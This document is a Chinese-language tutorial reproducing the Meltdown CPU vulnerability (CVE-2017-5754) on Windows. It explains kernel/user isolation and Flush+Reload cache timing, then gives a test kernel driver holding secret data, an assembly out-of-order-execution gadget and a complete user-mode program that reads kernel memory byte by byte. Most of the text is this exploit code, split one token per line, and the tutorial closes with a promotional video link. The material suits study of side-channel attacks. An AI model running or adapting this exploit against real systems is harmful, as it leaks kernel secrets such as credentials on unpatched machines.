页表条目中有一个 U/S 位,内核空间的地址会将这个位设置为 0,所以只有当 CPU 切换到内核模式时,这些内存才能被访问,应用程序访问这些地址会产生异常。
这个机制让操作系统将内核和应用程序隔离开来,因而系统能将内核映射到进程的虚拟地址空间,在保证数据安全的情况下,提高系统调用的效率。
但是 Meltdown 漏洞熔化了硬件机制所规定的安全边界,让用户程序得以访问到映射到内核空间的数据,U/S 位没有起作用。这破坏了我们之前对于 CPU 的基本假设,本来安全的操作系统变得不再安全。
Flush+Reload 不是 Meltdown,也不是 Meltdown 的成果,是一种比较好实现的利用 Meltdown 的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#include <stdio.h>
#include <excpt.h>
#include <intrin.h>
#include <stdint.h>
uint8_t probe_array[
256
][
4096
];
/
/
探针数组
uint64_t access_time[
256
];
/
/
记录访问时间
int
main()
{
uint8_t secret
=
42
;
uint8_t
*
p
=
&secret;
for
(size_t i
=
0
; i <
256
; i
+
+
)
_mm_clflush(&probe_array[i]);
__try
{
*
(uint32_t
*
)NULL
=
0
;
probe_array[
*
p][
0
]
+
+
;
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
for
(size_t i
=
0
; i <
256
; i
+
+
)
{
uint32_t aux;
uint64_t a
=
__rdtscp(&aux);
probe_array[i][
0
]
+
+
;
uint64_t b
=
__rdtscp(&aux);
access_time[i]
=
b
-
a;
}
for
(size_t i
=
0
; i <
256
; i
+
+
)
printf(
"%llu,"
, access_time[i]);
}
|
当程序来到第 20 行,读取了非法内存地址,在触发异常之前的这一小段时间,后续的指令可能会被乱序执行。
乱序执行的时候 probe_array 的数据可能已经从内存取出,更新到缓存中了。访问已经缓存的数据要比直接访问内存快得多,所以我们可以通过判断访问数据的时间,探测指定地址的内存是否已经被缓存了。
用一句话概括 Meltdown:在乱序执行时,有些 CPU 忘记检查 U/S 位了,导致数据被读取了,虽然操作会被撤销,但数据会被缓存,产生了副作用,可利用 Flush+Reload 等方法利用这个副作用探测到内核的数据。
编写一个驱动,在内核中申请一片内存,存放秘密数据,用来给 ring3 用 Meltdown 盗取。驱动还启动了一个线程,不断读写这片内存,迫使 CPU 缓存这些数据,提高盗取的成功率。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
#include "win10.h"
#include "x64.h"
#include "secret.h"
PWSTR Secret;
HANDLE ThreadHandle;
BOOLEAN ThreadStopFlag
=
FALSE;
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint(
"再见! %wZ\n"
, &DriverObject
-
>DriverName);
ThreadStopFlag
=
TRUE;
ZwWaitForSingleObject(ThreadHandle, FALSE, NULL);
ZwClose(ThreadHandle);
ExFreePool(Secret);
}
VOID
StartRoutine(PVOID StartContext)
{
UNREFERENCED_PARAMETER(StartContext);
KeSetSystemAffinityThread(
1
);
UINT32 Junk
=
0
;
size_t SecretLength
=
wcslen(Secret);
LARGE_INTEGER Inteval
=
{ .QuadPart
=
-
10000
};
while
(!ThreadStopFlag)
{
for
(size_t i
=
0
; i < SecretLength; i
+
+
)
{
Junk ^
=
Secret[i];
Junk
+
+
;
KeDelayExecutionThread(KernelMode, FALSE, &Inteval);
}
}
PsTerminateSystemThread(STATUS_SUCCESS);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrint(
"你好! %wZ\n"
, &DriverObject
-
>DriverName);
DriverObject
-
>DriverUnload
=
DriverUnload;
Secret
=
ExAllocatePool2(POOL_FLAG_NON_PAGED,
4096
,
'xxxx'
);
if
(!Secret)
return
STATUS_MEMORY_NOT_ALLOCATED;
wcscpy(Secret, SecretData);
NTSTATUS Status
=
PsCreateSystemThread(&ThreadHandle,
0
, NULL, NULL, NULL,
StartRoutine, NULL
);
if
(!NT_SUCCESS(Status))
{
ExFreePool(Secret);
return
Status;
}
DbgPrint(
"Secret @ %p\n"
, Secret);
return
STATUS_SUCCESS;
}
|
ring3 利用 Meltdown 的核心函数是 void OutOfOrderExecution(void* target, void* probe_array, void* null);
1
2
3
4
5
6
7
8
9
10
11
|
.CODE
OutOfOrderExecution PROC
mov r8, qword ptr [r8]
movzx rax, byte ptr [rcx]
shl rax,
12
mov al, byte ptr [rdx
+
rax]
ret
OutOfOrderExecution ENDP
END
|
使用方法是
1
2
3
4
5
|
__try
{
OutOfOrderExecution(target, probe_array, NULL);
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
|
调用后 probe_array 中的一些行会被缓存,统计每一行的访问时间,即可探测出一个位的数据。完整代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
#include <stdio.h>
#include <intrin.h>
#include <excpt.h>
#include <stdint.h>
#include <locale.h>
#include <Windows.h>
uint8_t probe_array[
256
][
4096
];
uint64_t access_time[
256
];
void OutOfOrderExecution(void
*
target, void
*
probe_array, void
*
null);
uint8_t
Steal(uint8_t
*
target)
{
for
(size_t retries
=
0
; retries <
30000
; retries
+
+
)
{
for
(size_t i
=
0
; i <
256
; i
+
+
)
{
_mm_clflush(&probe_array[i]);
_mm_pause();
}
__try
{
OutOfOrderExecution(target, probe_array, NULL);
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
for
(size_t i
=
0
; i <
256
; i
+
+
)
{
uint32_t aux
=
0
;
uint64_t a
=
__rdtscp(&aux);
probe_array[i][
0
]
+
+
;
uint64_t b
=
__rdtscp(&aux);
access_time[i]
=
b
-
a;
}
size_t idx_min
=
0
;
for
(size_t i
=
0
; i <
256
; i
+
+
)
{
if
(access_time[i] < access_time[idx_min]) idx_min
=
i;
_mm_pause();
}
if
(access_time[idx_min] <
100
&& idx_min !
=
0
)
{
printf(
" => %02X retries=%-5zd access_time=%llu\n"
, (uint32_t)idx_min
, retries
, access_time[idx_min]
);
return
(uint8_t)idx_min;
}
_mm_pause();
}
printf(
" => 00\n"
);
return
0
;
}
int
main(
int
argc, char
*
argv[])
{
if
(argc <
2
)
{
printf(
"USAGE: meltdown target\n"
);
return
1
;
}
uint8_t
*
target
=
NULL;
if
(sscanf_s(argv[
1
],
"%p"
, &target) !
=
1
)
{
printf(
"USAGE: meltdown target\n"
);
return
1
;
}
SetProcessAffinityMask(GetCurrentProcess(),
1
);
uint8_t
buffer
[
32
]
=
{
0
};
for
(size_t i
=
0
; i < sizeof(
buffer
); i
+
+
)
{
printf(
"Steal#%-2zd"
, i);
buffer
[i]
=
Steal(target
+
i);
}
for
(size_t i
=
0
; i < sizeof(
buffer
); i
+
+
)
{
printf(
"%02X"
, (uint32_t)
buffer
[i]);
printf((i
+
1
)
%
16
=
=
0
|| i
+
1
=
=
sizeof(
buffer
) ?
"\n"
:
" "
);
}
setlocale(LC_CTYPE, "");
wchar_t
*
secret
=
(wchar_t
*
)
buffer
;
for
(size_t i
=
0
; i < sizeof(
buffer
)
/
sizeof(wchar_t); i
+
+
)
putwchar(secret[i]);
putchar(
'\n'
);
}
|
更多【CVE-2017-5754 Meltdown 复现】相关视频教程:www.yxfzedu.com